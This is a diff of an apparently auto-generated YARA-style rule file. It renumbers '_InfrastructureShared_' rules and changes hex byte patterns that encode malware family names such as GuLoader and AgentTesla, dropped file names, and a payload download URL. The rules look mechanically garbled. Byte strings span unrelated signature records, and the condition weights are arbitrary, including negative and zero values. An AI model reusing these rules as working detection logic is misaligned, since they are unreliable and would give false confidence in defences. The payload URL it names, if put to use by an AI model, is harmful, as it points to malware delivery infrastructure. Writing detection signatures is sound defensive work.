& 1)*26433) >=6 } -rule _InfrastructureShared_16151{ +rule _InfrastructureShared_17215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -189227,7 +201937,7 @@ rule _InfrastructureShared_16151{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26997+(#a_00_2 & 1)*27745+(#a_6f_3 & 1)*385+(#a_66_4 & 1)*26214+(#a_67_5 & 1)*26218) >=6 } -rule _InfrastructureShared_16152{ +rule _InfrastructureShared_17216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189243,7 +201953,7 @@ rule _InfrastructureShared_16152{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*29546+(#a_73_2 & 1)*29555+(#a_2d_3 & 1)*12592+(#a_55_4 & 1)*27393+(#a_2f_5 & 1)*13166+(#a_6f_6 & 1)*27765) >=7 } -rule _InfrastructureShared_16153{ +rule _InfrastructureShared_17217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189259,7 +201969,7 @@ rule _InfrastructureShared_16153{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*385+(#a_76_2 & 1)*20817+(#a_54_3 & 1)*8499+(#a_66_4 & 1)*29541+(#a_78_5 & 1)*27760+(#a_73_6 & 1)*24914) >=7 } -rule _InfrastructureShared_16154{ +rule _InfrastructureShared_17218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189274,7 +201984,7 @@ rule _InfrastructureShared_16154{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_65_2 & 1)*25940+(#a_00_4 & 1)*110+(#a_65_5 & 1)*24899+(#a_6c_6 & 1)*29295) >=7 } -rule _InfrastructureShared_16155{ +rule _InfrastructureShared_17219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -189290,7 +202000,7 @@ rule _InfrastructureShared_16155{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_00_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_16156{ +rule _InfrastructureShared_17220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -189308,7 +202018,7 @@ rule _InfrastructureShared_16156{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*47+(#a_00_4 & 1)*99+(#a_00_5 & 1)*47+(#a_77_6 & 1)*29250+(#a_61_7 & 1)*28521+(#a_65_8 & 1)*29285+(#a_01_9 & 1)*25955) >=7 } -rule _InfrastructureShared_16157{ +rule _InfrastructureShared_17221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -189324,7 +202034,7 @@ rule _InfrastructureShared_16157{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29285+(#a_70_2 & 1)*384+(#a_74_4 & 1)*21249+(#a_2e_5 & 1)*26469+(#a_6f_6 & 1)*25938+(#a_79_7 & 1)*16761) >=8 } -rule _InfrastructureShared_16158{ +rule _InfrastructureShared_17222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -189333,15 +202043,15 @@ rule _InfrastructureShared_16158{ $a_65_1 = {6f 75 72 63 65 73 01 00 25 81 01 49 7a 76 69 64 77 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 31 35 36 30 63 30 36 33 2d 31 33 39 61 2d 34 33 33 65 2d 39 64 36 39 2d 63 38 66 31 33 65 31 38 31 64 62 62 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 0a 81 01 67 65 74 5f 52 65 } //11890 $a_74_2 = {00 07 81 01 47 65 74 54 79 70 65 01 00 14 81 01 52 65 61 64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 00 00 78 01 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 4d 32 32 31 31 32 32 21 4d 54 42 00 01 00 16 81 01 56 44 44 4b 4b 4b 4e 4f 4f 4f 4f 4f 4f } //30067 $a_67_3 = {67 67 65 65 01 00 1f 81 01 7b 50 42 42 43 44 44 45 4b 4e 4e 4f 4f 4f 4f 4f 4f 74 6e 67 67 67 67 67 65 65 64 56 56 64 7c 01 00 12 81 01 6e 67 67 67 67 65 65 64 56 56 55 55 53 53 51 50 4f 4f 01 00 16 81 01 56 4e 4e 4f 4f 4f 4f 72 6e 67 67 67 65 65 65 64 56 56 55 55 53 53 01 00 1e 81 01 5a 4e 4e 4f 4f 4f 4f 76 } //28278 - $a_67_4 = {65 65 64 56 56 55 53 53 51 51 50 4f 4e 4e 4b 40 4d 01 00 11 81 01 42 61 6e 74 61 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 44 6f 6d 73 70 72 61 6b 73 69 73 2e 65 78 65 01 00 0c 81 01 50 6f 6c 79 4f 6e 65 20 43 6f 72 70 00 00 78 01 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //26478 - $a_2f_5 = {67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 37 35 21 4d 54 42 00 01 00 0a 81 01 67 65 74 5f 59 65 6c 6c 6f 77 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 05 81 01 42 61 6c 6c 73 01 00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 } //18771 - $a_00_6 = {07 } //29543 - $a_6f_7 = {72 72 61 79 01 00 08 81 01 47 65 74 54 79 70 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 25 81 01 24 62 66 61 66 36 64 39 39 2d 63 33 62 33 2d 34 38 33 30 2d 61 34 66 61 2d 30 30 61 61 61 63 65 38 35 64 64 61 01 00 3f 03 68 00 74 00 } //385 + $a_67_4 = {65 65 64 56 56 55 53 53 51 51 50 4f 4e 4e 4b 40 4d 01 00 11 81 01 42 61 6e 74 61 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 0f 81 01 44 6f 6d 73 70 72 61 6b 73 69 73 2e 65 78 65 01 00 0c 81 01 50 6f 6c 79 4f 6e 65 20 43 6f 72 70 00 00 78 01 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 } //26478 + $a_32_5 = {47 75 4c 6f 61 64 65 72 2e 53 53 4d 21 4d 54 42 00 01 00 14 81 01 5c 54 72 69 70 6c 6f 70 69 61 31 32 5c 63 6f 6e 64 75 63 65 01 00 15 81 01 5c 64 61 6d } //28265 + $a_69_6 = {73 73 65 6c 73 6b 61 62 2e 6c 6e 6b 01 00 10 81 01 5c 70 61 65 64 6f 70 68 69 6c 69 61 2e 69 6e 69 01 00 21 81 01 5c 49 6e 64 65 6e 74 75 72 65 64 32 31 37 5c 6b 76 69 76 61 6c 65 72 69 6e 67 65 72 73 2e 69 6e 69 01 00 14 81 01 5c 70 61 72 74 6e 65 72 73 6b 61 62 65 72 6e 65 2e 69 6e 69 01 00 17 81 01 48 6f 76 65 64 70 } //29552 + $a_74_7 = {62 6c 65 74 74 65 6e 73 2e 74 78 74 01 00 0f 81 01 62 69 62 6c 69 6f 74 65 6b 65 74 2e 66 65 6d 01 00 18 81 01 75 6e 65 78 74 69 6e 67 75 69 73 68 61 62 6c 65 6e 65 73 73 2e 6a 70 67 00 00 78 01 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //28265 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11890+(#a_74_2 & 1)*30067+(#a_67_3 & 1)*28278+(#a_67_4 & 1)*26478+(#a_2f_5 & 1)*18771+(#a_00_6 & 1)*29543+(#a_6f_7 & 1)*385) >=8 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11890+(#a_74_2 & 1)*30067+(#a_67_3 & 1)*28278+(#a_67_4 & 1)*26478+(#a_32_5 & 1)*28265+(#a_69_6 & 1)*29552+(#a_74_7 & 1)*28265) >=8 } -rule _InfrastructureShared_16159{ +rule _InfrastructureShared_17223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -189349,15 +202059,33 @@ rule _InfrastructureShared_16159{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 4d 32 32 31 31 32 32 21 4d 54 42 00 01 00 16 81 01 56 44 44 4b 4b 4b 4e 4f 4f 4f 4f 4f 4f 76 6e 67 67 67 67 67 65 65 01 00 1f 81 01 7b 50 42 42 43 44 44 45 4b 4e 4e 4f 4f 4f 4f } //18467 $a_6e_1 = {67 67 67 67 65 65 64 56 56 64 7c 01 00 12 81 01 6e 67 67 67 67 65 65 64 56 56 55 55 53 53 51 50 4f 4f 01 00 16 81 01 56 4e 4e 4f 4f 4f 4f 72 6e 67 67 67 65 65 65 64 56 56 55 55 53 53 01 00 1e 81 01 5a 4e 4e 4f 4f 4f 4f 76 6e 67 67 67 65 65 65 64 56 56 55 53 53 51 51 50 4f 4e 4e 4b 40 4d 01 00 11 81 01 42 61 6e 74 61 20 43 6f 72 70 6f 72 61 74 69 } //20303 $a_00_2 = {0f } //28271 - $a_6f_3 = {73 70 72 61 6b 73 69 73 2e 65 78 65 01 00 0c 81 01 50 6f 6c 79 4f 6e 65 20 43 6f 72 70 00 00 78 01 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //385 - $a_50_4 = {45 45 31 37 35 21 4d 54 42 00 01 00 0a 81 01 67 65 74 5f 59 65 6c 6c 6f 77 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 05 81 01 42 61 } //24940 - $a_01_5 = {00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 47 65 74 54 79 70 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 25 81 01 24 62 66 61 66 36 64 39 39 2d 63 33 62 33 2d 34 38 33 30 2d 61 34 66 61 2d 30 30 61 61 61 63 65 38 35 64 64 61 01 00 3f 03 68 00 74 00 74 00 70 00 73 00 3a } //27756 - $a_00_7 = {6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 90 01 0c 2e 00 76 00 64 00 66 00 90 00 00 00 78 01 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 37 36 21 4d 54 42 00 01 00 0a 81 01 67 65 74 } //102 + $a_6f_3 = {73 70 72 61 6b 73 69 73 2e 65 78 65 01 00 0c 81 01 50 6f 6c 79 4f 6e 65 20 43 6f 72 70 00 00 78 01 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 } //385 + $a_53_4 = {21 4d 54 42 00 01 00 14 81 01 5c 54 72 69 70 6c 6f 70 69 61 31 32 5c 63 6f 6e 64 75 63 65 01 00 15 81 01 5c 64 61 6d 70 73 6b 69 62 73 73 65 6c 73 6b 61 62 2e 6c 6e 6b 01 00 10 81 01 5c 70 61 65 64 6f 70 68 69 6c 69 61 2e 69 6e 69 01 00 21 81 01 5c } //11890 + $a_65_5 = {74 75 72 65 64 32 31 37 5c 6b 76 69 76 61 6c 65 72 69 6e 67 65 72 73 2e 69 6e 69 01 00 14 81 01 5c 70 61 72 74 6e 65 72 73 6b 61 62 65 72 6e 65 2e 69 6e 69 01 00 17 81 01 48 6f 76 65 64 70 69 6e 65 74 61 62 6c 65 74 74 65 6e 73 2e 74 78 74 01 00 0f 81 01 62 69 62 6c 69 6f 74 65 6b 65 74 2e 66 65 6d } //28233 + $a_81_6 = {75 6e 65 78 74 69 6e 67 75 69 73 68 61 62 6c 65 6e 65 73 73 2e 6a 70 67 } //1 unextinguishableness.jpg + $a_01_7 = {01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 37 35 21 4d 54 42 00 01 00 0a 81 01 67 65 74 5f 59 65 6c 6c 6f 77 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 05 81 01 42 61 6c 6c 73 01 00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*20303+(#a_00_2 & 1)*28271+(#a_6f_3 & 1)*385+(#a_50_4 & 1)*24940+(#a_01_5 & 1)*27756+(#a_00_7 & 1)*102) >=8 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*20303+(#a_00_2 & 1)*28271+(#a_6f_3 & 1)*385+(#a_53_4 & 1)*11890+(#a_65_5 & 1)*28233+(#a_81_6 & 1)*1+(#a_01_7 & 1)*0) >=8 } -rule _InfrastructureShared_16160{ +rule _InfrastructureShared_17224{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4d 21 4d 54 42 00 01 00 14 81 01 5c 54 72 69 70 6c 6f 70 69 61 31 32 5c 63 6f 6e 64 75 63 65 01 00 15 81 01 5c 64 61 6d 70 73 6b 69 62 73 73 65 6c 73 6b 61 62 2e 6c 6e 6b 01 } //18467 + $a_01_1 = {5c 70 61 65 64 6f 70 68 69 6c 69 61 2e 69 6e 69 01 00 21 81 01 5c 49 6e 64 65 6e 74 75 72 65 64 32 31 37 5c 6b 76 69 76 61 6c 65 72 69 6e 67 65 72 73 2e 69 6e 69 01 00 14 81 01 5c 70 61 72 74 6e 65 72 73 6b 61 62 65 72 6e 65 2e 69 6e 69 01 00 17 81 01 48 6f 76 65 64 70 69 6e 65 74 61 62 6c 65 74 74 65 6e 73 2e 74 78 74 01 00 0f 81 01 62 69 62 6c 69 6f 74 65 6b 65 74 2e 66 65 6d 01 00 } //4096 + $a_75_2 = {65 } //-32488 e + $a_6e_3 = {75 69 73 68 61 62 6c 65 6e 65 73 73 2e 6a 70 67 00 00 78 01 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 37 35 21 4d 54 42 00 01 00 0a 81 01 67 65 74 5f 59 65 6c 6c 6f 77 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 05 81 01 42 } //29816 + $a_73_4 = {00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 47 65 74 54 79 70 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 25 81 01 24 62 66 61 66 36 64 39 39 2d 63 33 62 33 2d 34 38 33 30 2d 61 34 66 61 2d 30 30 61 61 61 63 65 38 35 64 64 61 01 00 3f 03 68 00 74 00 } //27745 + $a_00_5 = {73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 90 01 0c 2e 00 76 00 64 00 66 00 90 00 00 00 78 01 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 37 36 21 4d 54 42 00 01 00 0a } //116 + $a_65_6 = {5f 59 65 6c 6c 6f 77 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 05 81 01 42 61 6c 6c 73 01 00 0c 81 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 47 65 74 54 79 70 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 25 81 01 24 35 63 32 63 35 61 66 } //385 + $a_64_7 = {37 2d 34 38 36 32 2d 39 32 34 31 2d 62 62 66 34 62 62 39 33 66 61 34 33 01 00 3f 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 90 01 0c 2e 00 70 00 64 00 66 00 90 00 00 00 78 01 01 00 0a 00 0a 00 } //11574 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_75_2 & 1)*-32488+(#a_6e_3 & 1)*29816+(#a_73_4 & 1)*27745+(#a_00_5 & 1)*116+(#a_65_6 & 1)*385+(#a_64_7 & 1)*11574) >=8 + +} +rule _InfrastructureShared_17225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -189375,7 +202103,7 @@ rule _InfrastructureShared_16160{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26980+(#a_00_2 & 1)*105+(#a_00_3 & 1)*30575+(#a_75_4 & 1)*385+(#a_61_5 & 1)*25394+(#a_00_6 & 1)*108+(#a_77_7 & 1)*1929+(#a_7d_8 & 1)*27003) >=9 } -rule _InfrastructureShared_16161{ +rule _InfrastructureShared_17226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -189393,7 +202121,7 @@ rule _InfrastructureShared_16161{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26980+(#a_00_2 & 1)*105+(#a_89_3 & 1)*20361+(#a_f1_4 & 1)*-1979+(#a_02_5 & 1)*25441+(#a_35_6 & 1)*24930+(#a_72_7 & 1)*30831+(#a_73_8 & 1)*28520) >=9 } -rule _InfrastructureShared_16162{ +rule _InfrastructureShared_17227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -189408,7 +202136,7 @@ rule _InfrastructureShared_16162{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*362+(#a_7d_3 & 1)*25723+(#a_00_4 & 1)*10+(#a_6e_5 & 1)*27247+(#a_79_6 & 1)*29801) >=10 } -rule _InfrastructureShared_16163{ +rule _InfrastructureShared_17228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -189426,7 +202154,7 @@ rule _InfrastructureShared_16163{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*25970+(#a_6f_2 & 1)*25970+(#a_21_3 & 1)*21038+(#a_6d_4 & 1)*28486+(#a_50_5 & 1)*30068+(#a_00_7 & 1)*114+(#a_00_8 & 1)*20+(#a_54_9 & 1)*21076) >=10 } -rule _InfrastructureShared_16164{ +rule _InfrastructureShared_17229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -189444,7 +202172,7 @@ rule _InfrastructureShared_16164{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28482+(#a_65_2 & 1)*1+(#a_00_3 & 1)*71+(#a_00_5 & 1)*49+(#a_68_6 & 1)*21249+(#a_01_7 & 1)*1+(#a_01_8 & 1)*0+(#a_34_9 & 1)*12643) >=10 } -rule _InfrastructureShared_16165{ +rule _InfrastructureShared_17230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -189462,7 +202190,7 @@ rule _InfrastructureShared_16165{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_3 & 1)*33+(#a_6e_4 & 1)*17153+(#a_36_5 & 1)*29537+(#a_72_6 & 1)*25199+(#a_6f_7 & 1)*385+(#a_77_8 & 1)*25710+(#a_69_9 & 1)*29797) >=10 } -rule _InfrastructureShared_16166{ +rule _InfrastructureShared_17231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -189481,7 +202209,7 @@ rule _InfrastructureShared_16166{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_6f_2 & 1)*385+(#a_74_3 & 1)*28520+(#a_69_4 & 1)*23668+(#a_55_5 & 1)*17780+(#a_01_6 & 1)*27237+(#a_72_7 & 1)*25924+(#a_65_8 & 1)*29505+(#a_38_9 & 1)*12592) >=10 } -rule _InfrastructureShared_16167{ +rule _InfrastructureShared_17232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0e 00 21 " @@ -189501,7 +202229,7 @@ rule _InfrastructureShared_16167{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*2048+(#a_72_2 & 1)*30559+(#a_65_4 & 1)*25857+(#a_6f_5 & 1)*25924+(#a_55_6 & 1)*21505+(#a_00_7 & 1)*19781+(#a_6c_8 & 1)*29541+(#a_62_9 & 1)*14137+(#a_00_11 & 1)*116+(#a_65_13 & 1)*1) >=10 } -rule _InfrastructureShared_16168{ +rule _InfrastructureShared_17233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -189519,7 +202247,7 @@ rule _InfrastructureShared_16168{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28015+(#a_74_3 & 1)*18177+(#a_73_4 & 1)*25974+(#a_72_5 & 1)*30318+(#a_49_6 & 1)*19770+(#a_00_8 & 1)*97+(#a_74_9 & 1)*18176+(#a_33_10 & 1)*14402) >=11 } -rule _InfrastructureShared_16169{ +rule _InfrastructureShared_17234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -189538,7 +202266,7 @@ rule _InfrastructureShared_16169{ ((#a_54_0 & 1)*18467+(#a_6a_2 & 1)*28417+(#a_63_3 & 1)*27714+(#a_00_4 & 1)*47+(#a_00_6 & 1)*103+(#a_74_7 & 1)*18176+(#a_33_8 & 1)*14402+(#a_61_9 & 1)*11877+(#a_65_10 & 1)*24940+(#a_65_11 & 1)*24884) >=12 } -rule _InfrastructureShared_16170{ +rule _InfrastructureShared_17235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 08 00 21 " @@ -189554,7 +202282,7 @@ rule _InfrastructureShared_16170{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_65_3 & 1)*31060+(#a_42_4 & 1)*17976+(#a_53_5 & 1)*-32501+(#a_2e_6 & 1)*19813+(#a_65_7 & 1)*24940) >=15 } -rule _InfrastructureShared_16171{ +rule _InfrastructureShared_17236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 0b 00 21 " @@ -189573,7 +202301,7 @@ rule _InfrastructureShared_16171{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28484+(#a_61_2 & 1)*28773+(#a_30_3 & 1)*13625+(#a_01_4 & 1)*3328+(#a_00_6 & 1)*1+(#a_49_7 & 1)*16686+(#a_61_8 & 1)*-32491+(#a_5f_9 & 1)*24415+(#a_79_10 & 1)*19557) >=17 } -rule _InfrastructureShared_16172{ +rule _InfrastructureShared_17237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0c 00 21 " @@ -189593,7 +202321,7 @@ rule _InfrastructureShared_16172{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28499+(#a_69_2 & 1)*24937+(#a_46_3 & 1)*22339+(#a_5f_4 & 1)*24415+(#a_74_5 & 1)*28537+(#a_00_7 & 1)*78+(#a_00_8 & 1)*46+(#a_6f_9 & 1)*8291+(#a_45_10 & 1)*18+(#a_00_11 & 1)*27491) >=19 } -rule _InfrastructureShared_16173{ +rule _InfrastructureShared_17238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 0a 00 21 " @@ -189608,7 +202336,7 @@ rule _InfrastructureShared_16173{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*13382+(#a_57_3 & 1)*22272+(#a_32_4 & 1)*28265+(#a_00_6 & 1)*111+(#a_00_9 & 1)*97) >=33 } -rule _InfrastructureShared_16174{ +rule _InfrastructureShared_17239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -189620,7 +202348,7 @@ rule _InfrastructureShared_16174{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*41) >=300 } -rule _InfrastructureShared_16175{ +rule _InfrastructureShared_17240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 0a 00 21 " @@ -189636,7 +202364,7 @@ rule _InfrastructureShared_16175{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*144+(#a_ff_3 & 1)*-253+(#a_01_4 & 1)*10564+(#a_00_5 & 1)*144+(#a_00_7 & 1)*101+(#a_00_9 & 1)*100) >=101 } -rule _InfrastructureShared_16176{ +rule _InfrastructureShared_17241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -189646,7 +202374,7 @@ rule _InfrastructureShared_16176{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_16177{ +rule _InfrastructureShared_17242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -189657,7 +202385,7 @@ rule _InfrastructureShared_16177{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*8) >=1 } -rule _InfrastructureShared_16178{ +rule _InfrastructureShared_17243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -189669,7 +202397,7 @@ rule _InfrastructureShared_16178{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*22121+(#a_65_2 & 1)*24944) >=1 } -rule _InfrastructureShared_16179{ +rule _InfrastructureShared_17244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -189683,7 +202411,7 @@ rule _InfrastructureShared_16179{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*25701+(#a_33_2 & 1)*13357+(#a_33_3 & 1)*25958+(#a_00_4 & 1)*27756) >=1 } -rule _InfrastructureShared_16180{ +rule _InfrastructureShared_17245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -189699,7 +202427,7 @@ rule _InfrastructureShared_16180{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_03_2 & 1)*10+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_02_6 & 1)*0) >=1 } -rule _InfrastructureShared_16181{ +rule _InfrastructureShared_17246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -189717,7 +202445,7 @@ rule _InfrastructureShared_16181{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25966+(#a_6b_2 & 1)*24944+(#a_72_3 & 1)*29525+(#a_00_5 & 1)*101+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=1 } -rule _InfrastructureShared_16182{ +rule _InfrastructureShared_17247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -189728,7 +202456,7 @@ rule _InfrastructureShared_16182{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30060) >=2 } -rule _InfrastructureShared_16183{ +rule _InfrastructureShared_17248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -189740,7 +202468,7 @@ rule _InfrastructureShared_16183{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=2 } -rule _InfrastructureShared_16184{ +rule _InfrastructureShared_17249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -189752,7 +202480,7 @@ rule _InfrastructureShared_16184{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*-28668+(#a_08_2 & 1)*-28509) >=3 } -rule _InfrastructureShared_16185{ +rule _InfrastructureShared_17250{ meta: description = 